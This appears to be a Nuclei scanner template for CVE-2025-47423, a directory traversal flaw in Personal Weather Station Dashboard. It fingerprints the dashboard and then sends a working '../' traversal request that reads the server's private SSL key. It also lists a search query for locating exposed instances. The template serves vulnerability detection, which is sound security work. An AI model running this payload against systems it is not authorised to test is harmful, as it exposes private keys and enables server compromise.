id: CVE-2025-47423

info:
  name: Personal Weather Station Dashboard 12 - Directory Traversal
  author: pussycat0x
  severity: high
  description: |
    Personal Weather Station Dashboard 12_lts allows unauthenticated remote attackers to read arbitrary files via ../ directory traversal in the test parameter to /others/_test.php, as demonstrated by reading the server's private SSL key in cleartext.
  impact: |
    Unauthenticated attackers can read arbitrary files including private SSL keys through directory traversal in the test parameter, potentially exposing sensitive cryptographic material.
  remediation: |
    Upgrade Personal Weather Station Dashboard to a version later than 12_lts that properly validates file paths.
  reference:
    - https://github.com/Haluka92/CVE-2025-47423
    - https://pwsdashboard.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2025-47423
    cwe-id: CWE-24
    epss-score: 0.02097
    epss-percentile: 0.79824
  metadata:
    fofa-query: title="PWS Dashboard"
    max-request: 2
  tags: cve,cve2025,lfi,pws,traversal,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "PWS Dashboard</title>"
        internal: true

  - raw:
      - |
        GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "BEGIN RSA PRIVATE KEY"
          - "END RSA PRIVATE KEY"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022025d9650d14780d8be5fa7505d0f8e01f3a231096227ef09fa6be98d391444314022100fb141783ee42732ea687cb9da099afadca84e1b30e1a3b63a5c81854efc73dd7:922c64590222798bb761d5b6d8e72950